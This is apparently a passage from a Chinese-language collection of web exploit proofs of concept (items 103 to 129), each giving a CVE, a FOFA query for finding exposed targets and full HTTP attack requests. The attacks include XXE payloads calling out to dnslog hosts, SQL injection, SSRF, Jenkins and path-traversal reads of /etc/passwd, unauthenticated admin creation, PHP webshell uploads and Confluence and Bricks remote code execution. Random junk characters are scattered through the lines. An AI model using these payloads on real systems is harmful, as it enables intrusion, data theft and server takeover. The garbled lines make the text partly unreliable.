<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
0 ?) X' n; I7 d' g3 f6 g1 @FOFA：body="welcome.cgi?p=logo"
3 k" E8 }2 x" o( XPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
- ~6 q2 }/ j4 A5 |! I+ T8 ?9 QHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
# W- O) E0 d6 L1 Z" ^& ?, k. IConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
) b/ x- L8 h5 t  K9 SAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

- g' P) l2 k' {1 m
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
8 x3 v8 V1 |5 |; g3 [) i  k# z1 N3 F. F

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
, g' Z4 }1 ^& ^6 f  _1 zCVE-2024-0569
, H- k" G/ p% e2 W0 D' fFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
; }. I& Y* A" S0 ]" Y, B7 }$ YAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
4 T3 L( E* x9 v/ M$ h# T: o0 |User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
" ~  N2 Q4 _2 Q. W# JOrigin: http://192.168.0.1
6 d% L# p! R/ P% ~8 X; s, l, BReferer: http://192.168.0.1/advance/index.html?time=1671152380564
9 y  g, H/ }7 R% s# KAccept-Encoding:gzip,deflate
$ V1 p$ E. \$ g' GAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
( g7 U0 s( w$ |8 `Connection:close
6 m/ p8 _  F2 g
{
" N* U* T+ R1 |"topicurl":"getSysStatusCfg",
"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
( @: J; C& M& w6 a4 ]$ pFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

9 [' r; D! l7 \# L- n9 w/ s/ Z106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ l' ^7 i( ~8 i1 H1 T# F+ qConnection: close
4 j& W% n5 T9 R* }. Y

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
8 C6 s9 N! ]0 V* nGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
# a; V$ q5 U" s2 O0 `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ y; @# }' @; h8 H# @! T( hBlade-Auth:替换为自己的
  Q0 n8 ~) T: s( P+ i4 yConnection: close
5 z9 X; v- d; y- Z# _: k( N5 }& ]+ H

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
( X; a* Y) b0 SFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

8 t2 ?7 P3 U- z7 U; P: g0 J
109. Jenkins CLI 任意文件读取
CVE-2024-23897
5 m3 v% }8 K% ^FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
. x# _: n" m. f: v/ H6 J. ^) SHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
4 d2 e# C0 W( Z: gContent-Length: 163
$ L: L$ o) g2 c' u* a+ L% _1 A
* c0 M6 g! V& F. C" z8 b/ Zb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
; x# G: s, h* m6 y# q" h

  t. ^+ F  }8 E: N+ F) W2 o, ZPOST /cli?remoting=false HTTP/1.1
- J# |$ k* o  ]. }Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
. p. B& U1 W& s: H1 G  H2 kdownload
5 T4 w1 |9 E8 fContent-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
5 l& {( W- Y$ ~8 B: w, mLists all the available commands or a detailed description of single command.
+ [. H+ a& p/ ?" {# L COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
: S+ D! h) E8 a
" U$ h) F( b2 A6 T' ?& \: H
4 A: o: V0 F% k! s0 s1 |, R9 H110. Goanywhere MFT 未授权创建管理员
: i% Q) A  f% ~. i# GCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
0 s" n0 r( u2 W  aGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
7 z/ D9 }  Q9 w* F: z. A
" Q7 r4 O# L3 k% @: f& ]
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
; R' n0 z8 g/ WGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
; y1 ]7 i  K" D( CHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" C; D6 g0 K6 b7 d: aConnection: close
Accept: */*
Accept-Language: en
+ O3 G8 S9 N/ T1 l! AAccept-Encoding: gzip

4 u2 y3 D2 u& }: W' X. S- _$ d% _! I
# ?% Z- i! |7 r, m112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
' e; J) b& y. v; }$ U, N- oFOFA：body="/wp-content/plugins/notificationx"
$ d' [- L+ R0 q! E8 t: i4 uPOST /wp-json/notificationx/v1/analytics HTTP/1.1
$ d  X4 o( d) J7 W, R! Q, q9 L8 lHost: {{Hostname}}
/ r  ]6 x& h1 ^0 P# S" C# PContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
# o3 U9 W2 ~: C$ [
& q* m2 N5 k8 q( J9 j
113. WordPress Automatic 插件任意文件下载和SSRF
& i6 D+ b) E0 ~) T; sCVE-2024-27954
( z/ W) [6 j6 eFOFA："/wp-content/plugins/wp-automatic"
0 h5 o- A; N1 @( q: R3 |3 q& u- bGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
3 g, \* u) P3 L0 sUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
  F6 g) n6 G' ^/ p% hConnection: close
4 o5 E: F( J3 J0 |. e8 s' H4 kAccept: */*
Accept-Language: en
Accept-Encoding: gzip
$ e6 S0 E( r0 R+ z% F9 o

114. WordPress MasterStudy LMS插件 SQL注入
- N* T& W% t2 oFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
* L2 X# m7 e9 [$ s( EGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
" l1 ~7 }5 i9 K1 c5 pConnection: close


/ ]6 @1 |# b7 M( o, f. \. E  J115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
- @2 |* m( U7 T; m7 ]FOFA: body="/wp-content/themes/bricks/"
. k  @" g5 J( S- @& Y. q6 g第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

  f3 H) D, A1 u& v) G( _
) z( P2 l6 ]* P+ y9 }3 A# c) W0 f; D第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
) E) ~) p5 V7 M& \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 f# Z1 Q+ |9 L2 fConnection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
0 c6 s# i+ x$ c2 S% g# X9 X
+ C5 [  [1 g) p# U( Z% K, O{
5 p2 e" M0 y9 h! r4 x"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
$ l. C) ^4 b: \' t# u7 i    "name": "container",
" S. }! [! a  k) R/ Y# e    "settings": {
. s4 O* b3 {$ s/ ?+ I, M      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
4 `: `5 r' j6 F! W9 Q        "objectType": "post"
& Z6 S0 H. u+ p) t4 Q. K7 \      }
    }
  }
}

7 E) D7 z$ j4 c4 s
& I" S2 ^- f, g" U! u& \) k116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
& ^/ `* l0 e7 O  @3 {  APOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
% D+ _, C+ }& h( W8 cContent-Type: multipart/form-data; boundary=--------767099171
' H' \) ]1 m% _) ]/ [0 {7 n: j) KUser-Agent: Mozilla/5.0

. W- O: A  `( `" X7 S' w# k9 {  t- J7 v----------767099171
Content-Disposition: form-data; name="action"
5 O9 {- n/ i- G( d: N2 P- u# s9 fconfiguration_saveconfiguration
  g0 X7 B: x' D2 h) [. d----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
; X* p* H! j' l5 X/ _6 Z! ?----------767099171
, M4 o# }' b% M  [Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
/ j; Q' k& ]: d% U----------767099171--

. `* P, ~4 H( v( ~) |' ^
+ H4 c* y! S, V+ c% j  b8 ?! R117. WordPress LayerSlider插件SQL注入
3 B. S5 w; A5 x, l% ^version：7.9.11 – 7.10.0
* V$ Y4 L9 Q; ~2 QFOFA：body="/wp-content/plugins/LayerSlider/"
0 h5 L' r2 g3 m- M' e. wGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
3 X! k1 ~- i( M- K' P+ p4 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; E+ |2 q4 |+ uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ }* w2 {( x' s+ l1 s- M/ q" UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
/ h& c4 R! z% C& F' UConnection: close
Upgrade-Insecure-Requests: 1

( b/ j' m) j" i" b$ @1 j# `
" D3 A) e# m3 Y' }5 d7 h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
, b& q$ r% N# [0 s: mCVE-2024-0939
7 ~4 E% j% X& w- Z+ dFOFA：title="Smart管理平台"
. p' z: ^3 {) D; QPOST /Tool/uploadfile.php? HTTP/1.1
6 y1 Q3 }5 C/ s1 I! s5 V; z, x6 B' b5 n7 VHost: 192.168.40.130:8443
( ~# N; ^) k4 Z( D) jCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
7 ~0 ~1 j, I1 U5 |; aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
  `: ^, e$ p: d8 `$ F& ?" AOrigin: https://192.168.40.130:8443
4 L$ S3 D0 V7 [) |' g4 NReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
" I  M- b! ~# _6 I. iSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
- b& j. C$ V4 LConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
* J! z+ e) ]' k' }Content-Type: application/octet-stream
  @) H8 }5 A- y6 v& c) C
<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

6 @9 x8 b7 a% [. J% Y  N/home/src.php
-----------------------------13979701222747646634037182887--

7 U  |7 P# X/ h( r$ N
访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
+ q, W  O! q) K( T2 k% d% bFOFA：title="Smart管理平台"
' `8 l& O" D8 ?8 @  A先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
' f; U$ D( O3 qHost: x.x.x.x
0 J! l& `4 O7 @Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
7 F& A% V( A$ w+ [+ I6 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
' n# d- s1 z: F4 n! T! u, pContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
0 Z' g+ e) [- P' o" K9 s9 M- @X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
% U# a- t4 P# q1 _. l% ^& D& v# dX-Remote-Ip: 1.1.1.1
  e& u: @4 w5 T; q% @: X  rX-Remote-Addr: 1.1.1.1
' k* N/ g" U7 [5 ]9 z6 tTe: trailers
Connection: close
9 V& X$ |) K" I7 p) q5 \
% S/ U4 M" [, p8 u. `src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
. K0 {* }0 T5 w6 E

120. 北京百绰智能S40管理平台导入web.php任意文件上传
) z- }+ v* s; B) m, OCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
1 @4 D( A4 I) U2 }& E) O6 H3 tHost: ip:port
* w( n! @, m) fCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- x8 {+ R- i0 pContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
$ J& L6 `6 n+ W( QUpgrade-Insecure-Requests: 1
2 O5 g7 j" O6 _Sec-Fetch-Dest: document
  C" Y! J' g3 w* HSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
1 R) N8 c1 o( n+ I) a% M5 STe: trailers
( O8 f" g% |2 {1 S/ yConnection: close

4 i& ~( J1 x2 m# b* t+ ~* w2 ?9 y( t1 N-----------------------------42328904123665875270630079328
7 |- r8 w8 H4 w+ I! A7 yContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
+ X* ~4 h% S& l/ @, U, T
<?php phpinfo()?>
9 Q* N, ~' K1 M-----------------------------42328904123665875270630079328
! n/ `5 f, n+ n! g9 n' t  p) vContent-Disposition: form-data; name="id_type"
( w/ h! A( a- M1 N
1
) e; e9 i. Y5 J5 @. w' }% F-----------------------------42328904123665875270630079328
* `- t( _8 t9 V5 p2 _& X( _: T. |* q9 W$ hContent-Disposition: form-data; name="1_ck"

( _+ O* i  [) f+ U$ ?1_radhttp
6 z+ f3 n: w0 u6 ~-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
, \* y5 C8 A. t2 G9 R. ~0 z+ }- K
import
-----------------------------42328904123665875270630079328


8 o. W+ W$ O8 Y6 Z文件路径/upload/2.php
1 z# [8 j! |$ D+ D
- p- X1 i8 i4 _121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
3 z  N$ j8 {. {. N' {/ ~* I- YFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
$ p3 P- P3 F# w/ X) mHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
; D3 D: H4 }1 z3 ^) yContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
" Y- `. z( p# }Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
4 J$ x) _$ I& j+ y1 s# GTe: trailers
Connection: close

1 o1 o. ^' U/ v1 `-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
, r6 b' q2 U0 I6 Z* H6 n! n
: f. _4 N0 @/ g  l# J<?php phpinfo();?>
( v& a0 ?- ]9 u  ~5 T$ N-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
! t, m0 b+ R9 M5 ~
1_radhttp
2 A/ g: N: m3 E! k$ H; z% J% B-----------------------------42328904123665875270630079328
: ]+ q+ v! s( z" f! cContent-Disposition: form-data; name="hidwel"

set
  {& L4 ?# m3 Y# w5 i; M+ g+ z-----------------------------42328904123665875270630079328
4 n5 z, B# @6 D) I+ k* Z$ Q

boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
! e% l6 B2 W. @) M* K& {4 zHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  X0 y+ ]+ ]. G# D  q7 v1 Q. f( G* LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 W" \3 D1 F) N2 t4 L: ~3 Y1 vAccept-Encoding: gzip, deflate, br
+ |& _3 M; W2 W0 P7 S* NUpgrade-Insecure-Requests: 1
  D+ Z  B* H1 t& n; Q. ]2 SSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
/ o4 f7 z4 K1 x) z0 g7 s8 l/ ISec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

: i+ h6 W" X3 m8 _* J
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
1 }! f  B1 i- i2 o# l* }POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
) e& v3 I. S7 J& _- w% p2 w, z/ R0 zAccept-Encoding: gzip, deflate, br
9 w+ t8 X2 m4 cAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
) g4 }" d9 E% P6 g' j0 |
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


, A" H' W0 P; h124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
+ w6 n. Q! V/ k# d8 gUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
& p# K7 k3 i5 C9 F$ m) h. nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
, |/ s7 d( W' v! S2 }- O3 aAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ e, p" _  C, HConnection: close
Content-Type: application/x-www-form-urlencoded
+ ^* z1 m( [! o0 M5 {  J
$ ^8 m3 v* f2 z+ r1 y- w9 s# PfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

/ s: f7 z0 ]9 |$ t6 n
http://192.168.40.130:8282/Scripts/abcgcg.aspx
+ ^$ z6 ^3 _  L6 r+ Y* l
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


- e! O0 s' y! `使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
" W3 f$ M, h; m( u( g9 _

创建好用户后直接登录后台，可以执行系统命令。
1 d& \, B" `& d. C3 a
126. Aiohttp 路径遍历
6 ~" O" @- u- N) Y5 m3 l8 LFOFA：title=="ComfyUI"
) y- E5 w8 |1 fGET /static/../../../../../etc/passwd HTTP/1.1
0 M' U1 S" a; E4 v) C& h' mHost: x.x.x.x
7 d; ]! V0 X% ?( y* YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" N. W( t; i! o4 [  v8 v- @* BConnection: close
+ y9 V8 _! y1 }1 B0 UAccept: */*
/ }6 W" d8 L' l5 m+ K6 eAccept-Language: en
Accept-Encoding: gzip


3 e. z3 }7 l" {: p9 d. Z127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
% D5 r) S5 ?; @) s# D7 s1 i' xPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
$ }4 J8 o, d" ?  N( h; H( m9 qHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ L3 ~3 z; I8 U& C- YAccept-Encoding: gzip, deflate
; |* C  W* J& tAccept-Language: zh-CN,zh;q=0.9
& f: \% O/ w) g% ~' q0 T; HConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
$ Q& v5 ]! l, a4 Z6 q  \Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
' ^  O" U* q6 E9 L" [+ y& ?Content-Type: text/plain
/ U: D$ _4 a- N: @/ F) i$ Z" V
1 A# o+ @' E" u1 \* k+ P<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
9 P) Z5 j* T8 [1 ?  f5 m<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
, K  j  N  n! T4 Q+ a, W' c0 p]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



2 H* p" l, A& c! g6 q/ s128. Adobe ColdFusion 反序列化
CVE-2023-38203
7 F7 D! n8 J( S3 oAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
% u! M9 |, \5 s/ G9 iFOFA：app="Adobe-ColdFusion"
) ^2 C( ~; t  w5 C' e' {/ b, i5 p% ^PAYLOAD
' r1 `6 Z; t  v2 T/ M" `( }
( l4 U5 M7 |2 p129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
